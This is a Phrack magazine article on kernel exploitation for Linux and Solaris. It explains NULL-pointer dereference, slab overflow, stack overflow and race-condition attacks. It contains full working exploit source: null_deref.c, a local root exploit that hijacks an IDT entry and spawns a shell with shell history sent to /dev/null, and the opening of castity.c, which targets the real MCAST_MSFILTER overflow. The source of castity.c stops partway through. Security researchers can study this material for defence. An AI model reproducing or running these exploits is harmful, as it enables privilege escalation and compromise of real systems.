_ _ _/B\_ _/W\_ (* *) Phrack #64 file 6 (* *) | - | | - | | | Attacking the Core : Kernel Exploiting Notes | | | | | | | | By sqrkkyu | | | | twzi | | | | | | (______________________________________________________) ==Phrack Inc.== Volume 0x00, Issue 0x00, Phile #0x00 of 0x00 |=------------=[ Attacking the Core : Kernel Exploiting Notes ]=---------=| |=-----------------------------------------------------------------------=| |=-------------=[ sgrakkyu@antifork.org and twiz@email.it ]=-------------=| |=------------------------=[ February 12 2007 ]=-------------------------=| ------[ Index 1 - The playground 1.1 - Kernel/Userland virtual address space layouts 1.2 - Dummy device driver and real vulnerabilities 1.3 - Notes about information gathering 2 - Kernel vulnerabilities and bugs 2.1 - NULL/userspace dereference vulnerabilities 2.1.1 - NULL/userspace dereference vulnerabilities : null_deref.c 2.2 - The Slab Allocator 2.2.1 - Slab overflow vulnerabilities 2.2.2 - Slab overflow exploiting : MCAST_MSFILTER 2.2.3 - Slab overflow vulnerabilities : Solaris notes 2.3 - Stack overflow vulnerabilities 2.3.1 - UltraSPARC exploiting 2.3.2 - A reliable Solaris/UltraSPARC exploit 2.4 - A primer on logical bugs : race conditions 2.4.1 - Forcing a kernel path to sleep 2.4.2 - AMD64 and race condition exploiting: sendmsg 3 - Advanced scenarios 3.1 - PaX KERNEXEC & separated kernel/user space 3.2 - Remote Kernel Exploiting 3.2.1 - The Network Contest 3.2.2 - Stack Frame Flow Recovery 3.2.3 - Resources Restoring 3.2.4 - Copying the Stub 3.2.5 - Executing Code in Userspace Context [Gimme Life!] 3.2.6 - The Code : sendtwsk.c 4 - Final words 5 - References 6 - Sources : drivers and exploits [stuff.tgz] ------[ Intro The latest years have seen an increasing interest towards kernel based explotation. The growing diffusion of "security prevention" approaches (no-exec stack, no-exec heap, ascii-armored library mmapping, mmap/stack and generally virtual layout randomization, just to point out the most known) has/is made/making userland explotation harder and harder. Moreover there has been an extensive work of auditing on application codes, so that new bugs are generally more complex to handle and exploit. The attentions has so turned towards the core of the operating systems, towards kernel (in)security. This paper will attempt to give an insight into kernel explotation, with examples for IA-32, UltraSPARC and AMD64. Linux and Solaris will be the target operating systems. More precisely, an architecture on turn will be the main covered for the three main exploiting demonstration categories : slab (IA-32), stack (UltraSPARC) and race condtion (AMD64). The details explained in those 'deep focus' apply, thou, almost in toto to all the others exploiting scenarios. Since explotation examples are surely interesting but usually do not show the "effective" complexity of taking advantages of vulnerabilities, a couple of working real-life exploits will be presented too. ------[ 1 - The playground Let's just point out that, before starting : "bruteforcing" and "kernel" aren't two words that go well together. One can't just crash over and over the kernel trying to guess the right return address or the good alignment. An error in kernel explotation leads usually to a crash, panic or unstable state of the operating system. The "information gathering" step is so definitely important, just like a good knowledge of the operating system layout. ---[ 1.1 - Kernel/Userland virtual address space layouts From the userland point of view, we don't see almost anything of the kernel layout nor of the addresses at which it is mapped [there are indeed a couple of information that we can gather from userland, and we're going to point them out after]. Netherless it is from the userland that we have to start to carry out our attack and so a good knowledge of the kernel virtual memory layout (and implementation) is, indeed, a must. There are two possible address space layouts : - kernel space on behalf of user space (kernel page tables are replicated over every process; the virtual address space is splitted in two parts, one for the kernel and one for the processes). Kernels running on x86, AMD64 and sun4m/sun4d architectures usually have this kind of implementation. - separated kernel and process address space (both can use the whole address space). Such an implementation, to be efficient, requires a dedicated support from the underlaining architecture. It is the case of the primary and secondary context register used in conjunction with the ASI identifiers on the UltraSPARC (sun4u/sun4v) architecture. To see the main advantage (from an exploiting perspective) of the first approach over the second one we need to introduce the concept of "process context". Any time the CPU is in "supervisor" mode (the well-known ring0 on ia-32), the kernel path it is executing is said to be in interrupt context if it hasn't a backing process. Code in interrupt context can't block (for example waiting for demand paging to bring in a referenced userspace page): the scheduler is unable to know what to put to sleep (and what to wake up after). Code running in process context has instead an associated process (usually the one that "generated" the kernel code path, for example issuing a systemcall) and is free to block/sleep (and so, it's free to reference the userland virtual address space). This is a good news on systems which implement a combined user/kernel address space, since, while executing at kernel level, we can dereference (or jump to) userland addresses. The advantages are obvious (and many) : - we don't have to "guess" where our shellcode will be and we can write it in C (which makes easier the writing, if needed, of long and somehow complex recovery code) - we don't have to face the problem of finding a suitable large and safe place to store it. - we don't have to worry about no-exec page protection (we're free to mmap/mremap as we wish, and, obviously, load directly the code in .text segment, if we don't need to patch it at runtime). - we can mmap large portions of the address space and fill them with nops or nop-alike code/data (useful when we don't completely control the return address or the dereference) - we can easily take advantage of the so-called "NULL pointer dereference bugs" ("technically" described later on) The space left to the kernel is so limited in size : on the x86 architecture it is 1 Gigabyte on Linux and it fluctuates on Solaris depending on the amount of physical memory (check usr/src/uts/i86pc/os/startup.c inside Opensolaris sources). This fluctuation turned out to be necessary to avoid as much as possible virtual memory ranges wasting and, at the same time, avoid pressure over the space reserved to the kernel. The only limitation to kernel (and processes) virtual space on systems implementing an userland/kerneland separated address space is given by the architecture (UltraSPARC I and II can reference only 44bit of the whole 64bit addressable space. This VA-hole is placed among 0x0000080000000000 and 0xFFFFF7FFFFFFFFFF). This memory model makes explotation indeed harder, because we can't directly dereference the userspace. The previously cited NULL pointer dereferences are pretty much un-exploitable. Moreover, we can't rely on "valid" userland addresses as a place to store our shellcode (or any other kernel emulation data), neither we can "return to userspace". We won't go more in details here with a teorical description of the architectures (you can check the reference manuals at [1], [2] and [3]) since we've preferred to couple the analysis of the architectural and operating systems internal aspects relevant to explotation with the effective exploiting codes presentation. ---[ 1.2 - Dummy device driver and real vulnerabilities As we said in the introduction, we're going to present a couple of real working exploit, hoping to give a better insight into the whole kernel explotation process. We've written exploit for : - MCAST_MSFILTER vulnerability [4], used to demonstrate kernel slab overflow exploiting - sendmsg vulnerability [5], used to demonstrate an effective race condition (and a stack overflow on AMD64) - madwifi SIOCGIWSCAN buffer overflow [21], used to demonstrate a real remote exploit for the linux kernel. That exploit was already released at [22] before the exit of this paper (which has a more detailed discussion of it and another 'dummy based' exploit for a more complex scenario) Moreover, we've written a dummy device driver (for Linux and Solaris) to demonstrate with examples the techniques presented. A more complex remote exploit (as previously mentioned) and an exploit capable to circumvent Linux with PaX/KERNEXEC (and userspace/kernelspace separation) will be presented too. ---[ 1.3 - Notes about information gathering Remember when we were talking about information gathering ? Nearly every operating systems 'exports' to userland information useful for developing and debugging. Both Linux and Solaris (we're not taking in account now 'security patches') expose readable by the user the list and addresses of their exported symbols (symbols that module writer can reference) : /proc/ksyms on Linux 2.4, /proc/kallsyms on Linux 2.6 and /dev/ksyms on Solaris (the first two are text files, the last one is an ELF with SYMTAB section). Those files provide useful information about what is compiled in inside the kernel and at what addresses are some functions and structs, addresses that we can gather at runtime and use to increase the reliability of our exploit. But theese information could be missing on some environment, the /proc filesystem could be un-mounted or the kernel compiled (along with some security switch/patch) to not export them. This is more a Linux problem than a Solaris one, nowadays. Solaris exports way more information than Linux (probably to aid in debugging without having the sources) to the userland. Every module is shown with its loading address by 'modinfo', the proc interface exports the address of the kernel 'proc_t' struct to the userland (giving a crucial entrypoint, as we will see, for the explotation on UltraSPARC systems) and the 'kstat' utility lets us investigate on many kernel parameters. In absence of /proc (and /sys, on Linux 2.6) there's another place we can gather information from, the kernel image on the filesystem. There are actually two possible favourable situations : - the image is somewhere on the filesystem and it's readable, which is the default for many Linux distributions and for Solaris - the target host is running a default kernel image, both from installation or taken from repository. In that situation is just a matter of recreating the same image on our system and infere from it. This should be always possible on Solaris, given the patchlevel (taken from 'uname' and/or 'showrev -p'). Things could change if OpenSolaris takes place, we'll see. The presence of the image (or the possibility of knowing it) is crucial for the KERN_EXEC/separated userspace/kernelspace environment explotation presented at the end of the paper. Given we don't have exported information and the careful administrator has removed running kernel images (and, logically, in absence of kernel memory leaks ;)) we've one last resource that can help in explotation : the architecture. Let's take the x86 arch, a process running at ring3 may query the logical address and offset/attribute of processor tables GDT,LDT,IDT,TSS : - through 'sgdt' we get the base address and max offset of the GDT - through 'sldt' we can get the GDT entry index of current LDT - through 'sidt' we can get the base address and max offset of IDT - through 'str' we can get the GDT entry index of the current TSS The best choice (not the only one possible) in that case is the IDT. The possibility to change just a single byte in a controlled place of it leads to a fully working reliable exploit [*]. [*] The idea here is to modify the MSB of the base_address of an IDT entry and so "hijack" the exception handler. Logically we need a controlled byte overwriting or a partially controlled one with byte value below the 'kernelbase' value, so that we can make it point into the userland portion. We won't go in deeper details about the IDT layout/implementation here, you can find them inside processor manuals [1] and kad's phrack59 article "Handling the Interrupt Descriptor Table" [6]. The NULL pointer dereference exploit presented for Linux implements this technique. As important as the information gathering step is the recovery step, which aims to leave the kernel in a consistent state. This step is usually performed inside the shellcode itself or just after the exploit has (successfully) taken place, by using /dev/kmem or a loadable module (if possible). This step is logically exploit-dependant, so we will just explain it along with the examples (making a categorization would be pointless). ------[ 2 - Kernel vulnerabilities and bugs We start now with an excursus over the various typologies of kernel vulnerabilities. The kernel is a big and complex beast, so even if we're going to track down some "common" scenarios, there are a lot of more possible "logical bugs" that can lead to a system compromise. We will cover stack based, "heap" (better, slab) based and NULL/userspace dereference vulnerabilities. As an example of a "logical bug" a whole chapter is dedicated to race condition and techniques to force a kernel path to sleep/reschedule (along with a real exploit for the sendmsg [4] vulnerability on AMD64). We won't cover in this paper the range of vulnerabilities related to virtual memory logical errors, since those have been already extensively described and cleverly exploited, on Linux, by iSEC [7] people. Moreover, it's nearly useless, in our opinion, to create a "crafted" demonstrative vulnerable code for logical bugs and we weren't aware of any _public_ vuln of this kind on Solaris. If you are, feel free to submit it, we'll be happy to work over ;). ---[ 2.1 - NULL/userspace dereference vulnerabilities This kind of vulnerability derives from the using of a pointer not-initialized (generally having a NULL value) or trashed, so that it points inside the userspace part of the virtual memory address space. The normal behaviour of an operating system in such a situation is an oops or a crash (depending on the degree of severity of the dereference) while attempting to access un-mapped memory. But we can, obviously, mmap that memory range and let the kernel find "valid" malicius data. That's more than enough to gain root priviledges. We can delineate two possible scenarios : - instruction pointer modification (direct call/jmp dereference, called function pointers inside a struct, etc) - "controlled" write on kernelspace The first kind of vulnerability is really trivial to exploit, it's just a matter of mmapping the referenced page and put our shellcode there. If the dereferenced address is a struct with inside a function pointer (or a chain of struct with somewhere a function pointer), it is just a matter of emulating in userspace those struct, make point the function pointer to our shellcode and let/force the kernel path to call it. We won't show an example of this kind of vulnerability since this is the "last stage" of any more complex exploit (as we will see, we'll be always trying, when possible, to jump to userspace). The second kind of vulnerability is a little more complex, since we can't directly modify the instruction pointer, but we've the possibility to write anywhere in kernel memory (with controlled or uncontrolled data). Let's get a look to that snipped of code, taken from our Linux dummy device driver : < stuff/drivers/linux/dummy.h > [...] struct user_data_ioctl { int size; char *buffer; }; < / > < stuff/drivers/linux/dummy.c > static int alloc_info(unsigned long sub_cmd) { struct user_data_ioctl user_info; struct info_user *info; struct user_perm *perm; [...] if(copy_from_user(&user_info, (void __user*)sub_cmd, sizeof(struct user_data_ioctl))) return -EFAULT; if(user_info.size > MAX_STORE_SIZE) [1] return -ENOENT; info = kmalloc(sizeof(struct info_user), GFP_KERNEL); if(!info) return -ENOMEM; perm = kmalloc(sizeof(struct user_perm), GFP_KERNEL); if(!perm) return -ENOMEM; info->timestamp = 0;//sched_clock(); info->max_size = user_info.size; info->data = kmalloc(user_info.size, GFP_KERNEL); [2] /* unchecked alloc */ perm->uid = current->uid; info->data->perm = perm; [3] glob_info = info; [...] static int store_info(unsigned long sub_cmd) { [...] glob_info->data->perm->uid = current->uid; [4] [...] < / > Due to the integer signedness issue at [1], we can pass a huge value to the kmalloc at [2], making it fail (and so return NULL). The lack of checking at that point leaves a NULL value in the info->data pointer, which is later used, at [3] and also inside store_info at [4] to save the current uid value. What we have to do to exploit such a code is simply mmap the zero page (0x00000000 - NULL) at userspace, make the kmalloc fail by passing a negative value and then prepare a 'fake' data struct in the previously mmapped area, providing a working pointers for 'perm' and thus being able to write our 'uid' anywhere in memory. At that point we have many ways to exploit the vulnerable code (exploiting while being able to write anywhere some arbitrary or, in that case, partially controlled data is indeed limited only by imagination), but it's better to find a "working everywhere" way. As we said above, we're going to use the IDT and overwrite one of its entries (more precisely a Trap Gate, so that we're able to hijack an exception handler and redirect the code-flow towards userspace). Each IDT entry is 64-bit (8-bytes) long and we want to overflow the 'base_offset' value of it, to be able to modify the MSB of the exception handler routine address and thus redirect it below PAGE_OFFSET (0xc0000000) value. Since the higher 16 bits are in the 7th and 8th byte of the IDT entry, that one is our target, but we're are writing at [4] 4 bytes for the 'uid' value, so we're going to trash the next entry. It is better to use two adiacent 'seldomly used' entries (in case, for some strange reason, something went bad) and we have decided to use the 4th and 5th entries : #OF (Overflow Exception) and #BR (BOUND Range Exeeded Exeption). At that point we don't control completely the return address, but that's not a big problem, since we can mmap a large region of the userspace and fill it with NOPs, to prepare a comfortable and safe landing point for our exploit. The last thing we have to do is to restore, once we get the control flow at userspace, the original IDT entries, hardcoding the values inside the shellcode stub or using an lkm or /dev/kmem patching code. At that point our exploit is ready to be launched for our first 'rootshell'. As a last (indeed obvious) note, NULL dereference vulnerabilities are only exploitable on 'combined userspace and kernelspace' memory model operating systems. ---[ 2.1.1 - NULL/userspace dereference vulnerabilities : null_deref.c < stuff/expl/null_deref.c > #include #include #include #include #include #include #include #include #include "dummy.h" #define DEVICE "/dev/dummy" #define NOP 0x90 #define STACK_SIZE 8192 //#define STACK_SIZE 4096 #define PAGE_SIZE 0x1000 #define PAGE_OFFSET 12 #define PAGE_MASK ~(PAGE_SIZE -1) #define ANTANI "antani" uint32_t bound_check[2]={0x00,0x00}; extern void do_it(); uid_t UID; void do_bound_check() { asm volatile("bound %1, %0\t\n" : "=m"(bound_check) : "a"(0xFF)); } /* simple shell spown */ void get_root() { char *argv[] = { "/bin/sh", "--noprofile", "--norc", NULL }; char *envp[] = { "TERM=linux", "PS1=y0y0\\$", "BASH_HISTORY=/dev/null", "HISTORY=/dev/null", "history=/dev/null", "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin", NULL }; execve("/bin/sh", argv, envp); fprintf(stderr, "[**] Execve failed\n"); exit(-1); } /* this function is called by fake exception handler: take 0 uid and restore trashed entry */ void give_priv_and_restore(unsigned int thread) { int i; unsigned short addr; unsigned int* p = (unsigned int*)thread; /* simple trick */ for(i=0; i < 0x100; i++) if( (p[i] == UID) && (p[i+1] == UID) && (p[i+2] == UID) && (p[i+3] == UID) ) p[i] = 0, p[i+1] = 0; } #define CODE_SIZE 0x1e void dummy(void) { asm("do_it:;" "addl $6, (%%esp);" // after bound exception EIP points again to the bound instruction "pusha;" "movl %%esp, %%eax;" "andl %0, %%eax;" "movl (%%eax), %%eax;" "add $100, %%eax;" "pushl %%eax;" "movl $give_priv_and_restore, %%ebx;" "call *%%ebx;" "popl %%eax;" "popa;" "iret;" "nop;nop;nop;nop;" :: "i"( ~(STACK_SIZE -1)) ); return; } struct idt_struct { uint16_t limit; uint32_t base; } __attribute__((packed)); static char *allocate_frame_chunk(unsigned int base_addr, unsigned int size, void* code_addr) { unsigned int round_addr = base_addr & PAGE_MASK; unsigned int diff = base_addr - round_addr; unsigned int len = (size + diff + (PAGE_SIZE-1)) & PAGE_MASK; char *map_addr = mmap((void*)round_addr, len, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0); if(map_addr == MAP_FAILED) return MAP_FAILED; if(code_addr) { memset(map_addr, NOP, len); memcpy(map_addr, code_addr, size); } else memset(map_addr, 0x00, len); return (char*)base_addr; } inline unsigned int *get_zero_page(unsigned int size) { return (unsigned int*)allocate_frame_chunk(0x00000000, size, NULL); } #define BOUND_ENTRY 5 unsigned int get_BOUND_address() { struct idt_struct idt; asm volatile("sidt %0\t\n" : "=m"(idt)); return idt.base + (8*BOUND_ENTRY); } unsigned int prepare_jump_code() { UID = getuid(); /* set global uid */ unsigned int base_address = ((UID & 0x0000FF00) << 16) + ((UID & 0xFF) << 16); printf("Using base address of: 0x%08x-0x%08x\n", base_address, base_address + 0x20000 -1); char *addr = allocate_frame_chunk(base_address, 0x20000, NULL); if(addr == MAP_FAILED) { perror("unable to mmap jump code"); exit(-1); } memset((void*)base_address, NOP, 0x20000); memcpy((void*)(base_address + 0x10000), do_it, CODE_SIZE); return base_address; } int main(int argc, char *argv[]) { struct user_data_ioctl user_ioctl; unsigned int *zero_page, *jump_pages, save_ptr; zero_page = get_zero_page(PAGE_SIZE); if(zero_page == MAP_FAILED) { perror("mmap: unable to map zero page"); exit(-1); } jump_pages = (unsigned int*)prepare_jump_code(); int ret, fd = open(DEVICE, O_RDONLY), alloc_size; if(argc > 1) alloc_size = atoi(argv[1]); else alloc_size = PAGE_SIZE-8; if(fd < 0) { perror("open: dummy device"); exit(-1); } memset(&user_ioctl, 0x00, sizeof(struct user_data_ioctl)); user_ioctl.size = alloc_size; ret = ioctl(fd, KERN_IOCTL_ALLOC_INFO, &user_ioctl); if(ret < 0) { perror("ioctl KERN_IOCTL_ALLOC_INFO"); exit(-1); } /* save old struct ptr stored by kernel in the first word */ save_ptr = *zero_page; /* compute the new ptr inside the IDT table between BOUND and INVALIDOP exception */ printf("IDT bound: %x\n", get_BOUND_address()); *zero_page = get_BOUND_address() + 6; user_ioctl.size=strlen(ANTANI)+1; user_ioctl.buffer=ANTANI; ret = ioctl(fd, KERN_IOCTL_STORE_INFO, &user_ioctl); getchar(); do_bound_check(); /* restore trashed ptr */ *zero_page = save_ptr; ret = ioctl(fd, KERN_IOCTL_FREE_INFO, NULL); if(ret < 0) { perror("ioctl KERN_IOCTL_FREE_INFO"); exit(-1); } get_root(); return 0; } < / > ---[ 2.2 - The Slab Allocator The main purpose of a slab allocator is to fasten up the allocation/deallocation of heavily used small 'objects' and to reduce the fragmentation that would derive from using the page-based one. Both Solaris and Linux implement a slab memory allocator which derives from the one described by Bonwick [8] in 1994 and implemented in Solaris 2.4. The idea behind is, basically : objects of the same type are grouped together inside a cache in their constructed form. The cache is divided in 'slabs', consisting of one or more contiguos page frames. Everytime the Operating Systems needs more objects, new page frames (and thus new 'slabs') are allocated and the object inside are constructed. Whenever a caller needs one of this objects, it gets returned an already prepared one, that it has only to fill with valid data. When an object is 'freed', it doesn't get destructed, but simply returned to its slab and marked as available. Caches are created for the most used objects/structs inside the operating system, for example those representing inodes, virtual memory areas, etc. General-purpose caches, suitables for small memory allocations, are created too, one for each power of two, so that internal fragmentation is guaranted to be at least below 50%. The Linux kmalloc() and the Solaris kmem_alloc() functions use exactly those latter described caches. Since it is up to the caller to 'clean' the object returned from a slab (which could contain 'dead' data), wrapper functions that return zeroed memory are usually provided too (kzalloc(), kmem_zalloc()). An important (from an exploiting perspective) 'feature' of the slab allocator is the 'bufctl', which is meaningful only inside a free object, and is used to indicate the 'next free object'. A list of free object that behaves just like a LIFO is thus created, and we'll see in a short that it is crucial for reliable explotation. To each slab is associated a controlling struct (kmem_slab_t on Solaris, slab_t on Linux) which is stored inside the slab (at the start, on Linux, at the end, on Solaris) if the object size is below a given limit (1/8 of the page), or outside it. Since there's a 'cache' per 'object type', it's not guaranted at all that those 'objects' will stay exactly in a page boundary inside the slab. That 'free' space (space not belonging to any object, nor to the slab controlling struct) is used to 'color' the slab, respecting the object alignment (if 'free' < 'alignment' no coloring takes place). The first object is thus saved at a 'different offset' inside the slab, given from 'color value' * 'alignment', (and, consequently, the same happens to all the subsequent objects), so that object of the same size in different slabs will less likely end up in the same hardware cache lines. We won't go more in details about the Slab Allocator here, since it is well and extensively explained in many other places, most notably at [9], [10], and [11], and we move towards effective explotation. Some more implementation details will be given, thou, along with the exploiting techniques explanation. ---[ 2.2.1 - Slab overflow vulnerabilities NOTE: as we said before, Solaris and Linux have two different function to alloc from the general purpose caches, kmem_alloc() and kmalloc(). That two functions behave basically in the same manner, so, from now on we'll just use 'kmalloc' and 'kmalloc'ed memory' in the discussion, referring thou to both the operating systems implementation. A slab overflow is simply the writing past the buffer boundaries of a kmalloc'ed object. The result of this overflow can be : - overwriting an adiacent in-slab object. - overwriting a page next to the slab one, in the case we're overwriting past the last object. - overwriting the control structure associated with the slab (Solaris only) The first case is the one we're going to show an exploit for. The main idea on such a situation is to fill the slabs (we can track the slab status thanks to /proc/slabinfo on Linux and kstat -n 'cache_name' on Solaris) so that a new one is necessary. We do that to be sure that we'll have a 'controlled' bufctl : since the whole slabs were full, we got a new page, along with a 'fresh' bufctl pointer starting from the first object. At that point we alloc two objects, free the first one and trigger the vulnerable code : it will request a new object and overwrite right into the previously allocated second one. If a pointer inside this second object is stored and then used (after the overflow) it is under our control. This approach is very reliable. The second case is more complex, since we haven't an object with a pointer or any modifiable data value of interest to overwrite into. We still have one chance, thou, using the page frame allocator. We start eating a lot of memory requesting the kind of 'page' we want to overflow into (for example, tons of filedescriptor), putting the memory under pressure. At that point we start freeing a couple of them, so that the total amount counts for a page. At that point we start filling the slab so that a new page is requested. If we've been lucky the new page is going to be just before one of the previously allocated ones and we've now the chance to overwrite it. The main point affecting the reliability of such an exploit is : - it's not trivial to 'isolate' a given struct/data to mass alloc at the first step, without having also other kernel structs/data growing together with. An example will clarify : to allocate tons of file descriptor we need to create a large amount of threads. That translates in the allocation of all the relative control structs which could end up placed right after our overflowing buffer. The third case is possible only on Solaris, and only on slabs which keep objects smaller than 'page_size >> 3'. Since Solaris keeps the kmem_slab struct at the end of the slab we can use the overflow of the last object to overwrite data inside it. In the latter two 'typology' of exploit presented we have to take in account slab coloring. Both the operating systems store the 'next color offset' inside the cache descriptor, and update it at every slab allocation (let's see an example from OpenSolaris sources) : < usr/src/uts/common/os/kmem.c > static kmem_slab_t * kmem_slab_create(kmem_cache_t *cp, int kmflag) { [...] size_t color, chunks; [...] color = cp->cache_color + cp->cache_align; if (color > cp->cache_maxcolor) color = cp->cache_mincolor; cp->cache_color = color; < / > 'mincolor' and 'maxcolor' are calculated at cache creation and represent the boundaries of available caching : # uname -a SunOS principessa 5.9 Generic_118558-34 sun4u sparc SUNW,Ultra-5_10 # kstat -n file_cache | grep slab slab_alloc 280 slab_create 2 slab_destroy 0 slab_free 0 slab_size 8192 # kstat -n file_cache | grep align align 8 # kstat -n file_cache | grep buf_size buf_size 56 # mdb -k Loading modules: [ unix krtld genunix ip usba nfs random ptm ] > ::sizeof kmem_slab_t sizeof (kmem_slab_t) = 0x38 > ::kmem_cache ! grep file_cache 00000300005fed88 file_cache 0000 000000 56 290 > 00000300005fed88::print kmem_cache_t cache_mincolor cache_mincolor = 0 > 00000300005fed88::print kmem_cache_t cache_maxcolor cache_maxcolor = 0x10 > 00000300005fed88::print kmem_cache_t cache_color cache_color = 0x10 > ::quit As you can see, from kstat we know that 2 slabs have been created and we know the alignment, which is 8. Object size is 56 bytes and the size of the in-slab control struct is 56, too. Each slab is 8192, which, modulo 56 gives out exactly 16, which is the maxcolor value (the color range is thus 0 - 16, which leads to three possible coloring with an alignment of 8). Based on the previous snippet of code, we know that first allocation had a coloring of 8 ( mincolor == 0 + align == 8 ), the second one of 16 (which is the value still recorded inside the kmem_cache_t). If we were for exhausting this slab and get a new one we would know for sure that the coloring would be 0. Linux uses a similar 'circolar' coloring too, just look forward for 'kmem_cache_t'->colour_next setting and incrementation. Both the operating systems don't decrement the color value upon freeing of a slab, so that has to be taken in account too (easy to do on Solaris, since slab_create is the maximum number of slabs created). ---[ 2.2.2 - Slab overflow exploiting : MCAST_MSFILTER Given the technical basis to understand and exploit a slab overflow, it's time for a practical example. We're presenting here an exploit for the MCAST_MSFILTER [4] vulnerability found by iSEC people : < linux-2.4.24/net/ipv4/ip_sockglue.c > case MCAST_MSFILTER: { struct sockaddr_in *psin; struct ip_msfilter *msf = 0; struct group_filter *gsf = 0; int msize, i, ifindex; if (optlen < GROUP_FILTER_SIZE(0)) goto e_inval; gsf = (struct group_filter *)kmalloc(optlen,GFP_KERNEL); [2] if (gsf == 0) { err = -ENOBUFS; break; } err = -EFAULT; if (copy_from_user(gsf, optval, optlen)) { [3] goto mc_msf_out; } if (GROUP_FILTER_SIZE(gsf->gf_numsrc) < optlen) { [4] err = EINVAL; goto mc_msf_out; } msize = IP_MSFILTER_SIZE(gsf->gf_numsrc); [1] msf = (struct ip_msfilter *)kmalloc(msize,GFP_KERNEL); [7] if (msf == 0) { err = -ENOBUFS; goto mc_msf_out; } [...] msf->imsf_multiaddr = psin->sin_addr.s_addr; msf->imsf_interface = 0; msf->imsf_fmode = gsf->gf_fmode; msf->imsf_numsrc = gsf->gf_numsrc; err = -EADDRNOTAVAIL; for (i=0; igf_numsrc; ++i) { [5] psin = (struct sockaddr_in *)&gsf->gf_slist[i]; if (psin->sin_family != AF_INET) [8] goto mc_msf_out; msf->imsf_slist[i] = psin->sin_addr.s_addr; [6] [...] mc_msf_out: if (msf) kfree(msf); if (gsf) kfree(gsf); break; [...] < / > < linux-2.4.24/include/linux/in.h > #define IP_MSFILTER_SIZE(numsrc) \ [1] (sizeof(struct ip_msfilter) - sizeof(__u32) \ + (numsrc) * sizeof(__u32)) [...] #define GROUP_FILTER_SIZE(numsrc) \ [4] (sizeof(struct group_filter) - sizeof(struct __kernel_sockaddr_storage) \ + (numsrc) * sizeof(struct __kernel_sockaddr_storage)) < / > The vulnerability consist of an integer overflow at [1], since we control the gsf struct as you can see from [2] and [3]. The check at [4] proved to be, initially, a problem, which was resolved thanks to the slab property of not cleaning objects on free (back on that in a short). The for loop at [5] is where we effectively do the overflow, by writing, at [6], the 'psin->sin_addr.s_addr' passed inside the gsf struct over the previously allocated msf [7] struct (kmalloc'ed with bad calculated 'msize' value). This for loop is a godsend, because thanks to the check at [8] we are able to avoid the classical problem with integer overflow derived bugs (that is writing _a lot_ after the buffer due to the usually huge value used to trigger the overflow) and exit cleanly through mc_msf_out. As explained before, while describing the 'first explotation approach', we need to find some object/data that gets kmalloc'ed in the same slab and which has inside a pointer or some crucial-value that would let us change the execution flow. We found a solution with the 'struct shmid_kernel' : < linux-2.4.24/ipc/shm.c > struct shmid_kernel /* private to the kernel */ { struct kern_ipc_perm shm_perm; struct file * shm_file; int id; [...] }; [...] asmlinkage long sys_shmget (key_t key, size_t size, int shmflg) { struct shmid_kernel *shp; int err, id = 0; down(&shm_ids.sem); if (key == IPC_PRIVATE) { err = newseg(key, shmflg, size); [...] static int newseg (key_t key, int shmflg, size_t size) { [...] shp = (struct shmid_kernel *) kmalloc (sizeof (*shp), GFP_USER); [...] } As you see, struct shmid_kernel is 64 bytes long and gets allocated using kmalloc (size-64) generic cache [ we can alloc as many as we want (up to fill the slab) using subsequent 'shmget' calls ]. Inside it there is a struct file pointer, that we could make point, thanks to the overflow, to the userland, where we will emulate all the necessary structs to reach a function pointer dereference (that's exactly what the exploit does). Now it is time to force the msize value into being > 32 and =< 64, to make it being alloc'ed inside the same (size-64) generic cache. 'Good' values for gsf->gf_numsrc range from 0x40000005 to 0x4000000c. That raises another problem : since we're able to write 4 bytes for every __kernel_sockaddr_storage present in the gsf struct we need a pretty large one to reach the 'shm_file' pointer, and so we need to pass a large 'optlen' value. The 0x40000005 - 0x4000000c range, thou, makes the GROUP_FILTER_SIZE() macro used at [4] evaluate to a positive and small value, which isn't large enough to reach the 'shm_file' pointer. We solved that problem thanks to the fact that, once an object is free'd, its 'memory contents' are not zero'ed (or cleaned in any way). Since the copy_from_user at [3] happens _before_ the check at [4], we were able to create a sequence of 1024-sized objects by repeatedly issuing a failing (at [4]) 'setsockopt', thus obtaining a large-enough one. Hoping to make it clearer let's sum up the steps : - fill the 1024 slabs so that at next allocation a fresh one is returned - alloc the first object of the new 1024-slab. - use as many 'failing' setsockopt as needed to copy values inside objects 2 and 3 [and 4, if needed, not the usual case thou] - free the first object - use a smaller (but still 1024-slab allocation driving) value for optlen that would pass the check at [4] At that point the gsf pointer points to the first object inside our freshly created slab. Objects 2 and 3 haven't been re-used yet, so still contains our data. Since the objects inside the slab are adiacent we have a de-facto larger (and large enough) gsf struct to reach the 'shm_file' pointer. Last note, to reliably fill the slabs we check /proc/slabinfo. The exploit, called castity.c, was written when the advisory went out, and is only for 2.4.* kernels (the sys_epoll vulnerability [12] was more than enough for 2.6.* ones ;) ) Exploit follows, just without the initial header, since the approach has been already extensively explained above. < stuff/expl/linux/castity.c > #include #include #include #include #include #include #include #include #include #include #include #define __u32 unsigned int #define MCAST_MSFILTER 48 #define SOL_IP 0 #define SIZE 4096 #define R_FILE "/etc/passwd" // Set it to whatever file you can read. It's just for 1024 filling. struct in_addr { unsigned int s_addr; }; #define __SOCK_SIZE__ 16 struct sockaddr_in { unsigned short sin_family; /* Address family */ unsigned short int sin_port; /* Port number */ struct in_addr sin_addr; /* Internet address */ /* Pad to size of `struct sockaddr'. */ unsigned char __pad[__SOCK_SIZE__ - sizeof(short int) - sizeof(unsigned short int) - sizeof(struct in_addr)]; }; struct group_filter { __u32 gf_interface; /* interface index */ struct sockaddr_storage gf_group; /* multicast address */ __u32 gf_fmode; /* filter mode */ __u32 gf_numsrc; /* number of sources */ struct sockaddr_storage gf_slist[1]; /* interface index */ }; struct damn_inode { void *a, *b; void *c, *d; void *e, *f; void *i, *l; unsigned long size[40]; // Yes, somewhere here :-) } le; struct dentry_suck { unsigned int count, flags; void *inode; void *dd; } fucking = { 0xbad, 0xbad, &le, NULL }; struct fops_rox { void *a, *b, *c, *d, *e, *f, *g; void *mmap; void *h, *i, *l, *m, *n, *o, *p, *q, *r; void *get_unmapped_area; } chien; struct file_fuck { void *prev, *next; void *dentry; void *mnt; void *fop; } gagne = { NULL, NULL, &fucking, NULL, &chien }; static char stack[16384]; int gotsig = 0, fillup_1024 = 0, fillup_64 = 0, uid, gid; int *pid, *shmid; static void sigusr(int b) { gotsig = 1; } void fatal (char *str) { fprintf(stderr, "[-] %s\n", str); exit(EXIT_FAILURE); } #define BUFSIZE 256 int calculate_slaboff(char *name) { FILE 